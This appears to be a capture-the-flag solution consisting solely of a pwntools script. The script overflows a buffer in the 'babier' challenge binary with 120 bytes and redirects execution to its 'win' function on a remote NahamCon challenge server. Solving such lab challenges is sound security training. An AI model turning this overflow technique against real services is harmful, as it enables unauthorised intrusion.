Rating:
```python
from pwn import *
elf = ELF("./babier")
offset = 120
#p = elf.process()
p = remote("challenge.nahamcon.com", 31842)
p.recvuntil(b"scanf?\n")
payload = b'A'*120
payload += p64(elf.symbols['win'])
p.sendline(payload)
p.interactive()
```